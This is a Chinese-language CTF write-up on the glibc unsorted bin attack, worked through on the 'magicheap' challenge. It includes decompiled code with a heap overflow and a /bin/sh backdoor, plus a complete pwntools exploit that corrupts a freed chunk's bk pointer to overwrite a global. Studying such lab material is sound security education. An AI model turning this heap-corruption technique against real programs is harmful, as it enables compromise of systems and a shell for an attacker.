unsorted bin Attack
-
当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中。
-
释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。关于 top chunk 的解释,请参考下面的介绍。
-
当进行 malloc_consolidate 时,可能会把合并后的 chunk 放到 unsorted bin 中,如果不是和 top chunk 近邻的话。
unsorted bin attack 原理
~~管理时为循环双向链表 所以里面必有一个节点
一开始时 unsorted bin 的 fd和bk都指向本身
我们free掉一个chunk(p) 然后因为不在fastbin大小中 就归到unsorted bin里 插入的时候插入到 unsorted bin 的头部,取出的时候从链表尾获取 所以这里会将unsorted bin的fd和bk指向我们的
0
1
2
3
|
victim = unsorted_chunks(av)->bk=p //这里就是我我们的free掉的那个p
bck = victim->bk=p->bk = target addr-16//bck=p的bk 也就是我们要修改的地址-16是因为等会儿他要改这个地址的FD 而FD的偏移就是16 所以减去16
unsorted_chunks(av)->bk = bck=target addr-16//令unsortedbin的FD指向我们的地址(因为我们把p的chunk给取走了 他要构成循环链表要把后面的接上来(我们默认的free到unsortedbin的地址就是我们unsrotedBin本身地址))
bck->fd = *(target addr -16+16) = unsorted_chunks(av);//这里就是将unsorted_chunks(av)->bk->fd改成unsorted bin地址
|
例题1.hitcontraining_magicheap
l33t 后门函数
int l33t()
{
return system("/bin/sh");
}
主函数逻辑
0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
|
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]
v5 = __readfsqword(0x28u);
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
while ( 1 )
{
while ( 1 )
{
menu();
read(0, buf, 8uLL);
v3 = atoi(buf);
if ( v3 != 3 )
break;
delete_heap();
}
if ( v3 > 3 )
{
if ( v3 == 4 )
exit(0);
if ( v3 == 4869 )//主要逻辑
{
if ( (unsigned __int64)magic <= 0x1305 )//判断输入的是不是4869且magic值是不是>4869 是的话就执行后门函数
{
puts("So sad !");
}
else
{
puts("Congrt !");
l33t();
}
}
else
{
LABEL_17:
puts("Invalid Choice");
}
}
else if ( v3 == 1 )
{
create_heap();
}
else
{
if ( v3 != 2 )
goto LABEL_17;
edit_heap();
}
}
}
|
create_heap 创建chunk
0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
unsigned __int64 create_heap()
{
int i; // [rsp+4h] [rbp-1Ch]
size_t size; // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
for ( i = 0; i <= 9; ++i )
{
if ( !heaparray[i] )
{
printf("Size of Heap : ");
read(0, buf, 8uLL);
size = atoi(buf);
heaparray[i] = malloc(size);
if ( !heaparray[i] )
{
puts("Allocate Error");
exit(2);
}
printf("Content of heap:");
read_input((void *)heaparray[i], size);
puts("SuccessFul");
return __readfsqword(0x28u) ^ v4;
}
}
return __readfsqword(0x28u) ^ v4;
}
|
edit_heap 编辑chunk内容 没对输入大小限制 可以溢出
0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
int edit_heap()
{
int v1; // [rsp+0h] [rbp-10h]
char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
__int64 v3; // [rsp+8h] [rbp-8h]
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( (unsigned int)v1 >= 0xA )
{
puts("Out of bound!");
_exit(0);
}
if ( !heaparray[v1] )
return puts("No such heap !");
printf("Size of Heap : ");
read(0, buf, 8uLL);
v3 = atoi(buf);
printf("Content of heap : ");
read_input(heaparray[v1], v3);
return puts("Done !");
}
|
delete_heap (free chunk)
0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
int delete_heap()
{
unsigned int v1; // [rsp+8h] [rbp-8h]
char buf[4]; // [rsp+Ch] [rbp-4h] BYREF
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( v1 >= 0xA )
{
puts("Out of bound!");
_exit(0);
}
if ( !heaparray[v1] )
return puts("No such heap !");
free((void *)heaparray[v1]);
heaparray[v1] = 0LL;
return puts("Done !");
}
|
这里就可以用到我们的Unsorted bin attack了 因为我们知道Unsorted bin attack可以修改任意地址的值 而且修改的值肯定会大于目标值
(因为基本Unsorted bin本身的地址就在很大的地方)
我们就可以先创建3个堆
-
第一个用来 等等free的时候溢出修改我们上面图p->bk位置(大小随便)
-
**第二个就是我们上面图所说的p free进unsorted bin中 **(必须大于fastbin 0x80)
-
第三个防止我们的p free后给top chunk合并(大小随便) -》这边衍生出top chunk ( 如果top chunk前面的chunk不是fast chunk并且处于空闲,那么top chunk就会合并这个chunk。
如果top chunk前面的chunk是fast chunk,不论是否空闲,top chunk都不会合并这个chunk。)
然后 将p给 free掉 让他进我们的 unsorted bin 中
接着编辑我们的第一个chunk 让他溢出到第二个chunk的BK位置 改写BK为目标地址-0x10 原因说过了
最后在申请创建和chunk2相同大小的chunk
exp
0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
from pwn import *
magic = 0x6020A0
r = process('./magicheap')
def add(size,content):
r.sendlineafter('Your choice :','1')
r.sendlineafter('Size of Heap : ',str(size))
r.sendlineafter('Content of heap:',content)
def edit(idx,size,content):
r.sendlineafter('Your choice :','2')
r.sendlineafter('Index :',str(idx))
r.sendlineafter('Size of Heap : ',str(size))
r.sendlineafter('Content of heap : ',content)
def dele(idx):
r.sendlineafter('Your choice :','3')
r.sendlineafter('Index :',str(idx))
add(0x10,'a') #chunk1 index:0
add(0x90,'a') #chunk2 index:1
add(0x10,'a') #chunk3 index:2
dele(1)
edit(0,0x100,0x10 * b"a" + p64(0)+p64(0xa1)+p64(0)+p64(magic-16))#修改heap1的fd和bk指针
add(0x90,'xxxxxxxxxxxxxx') #重新申请heap1
r.sendline('4869')
r.interactive()
|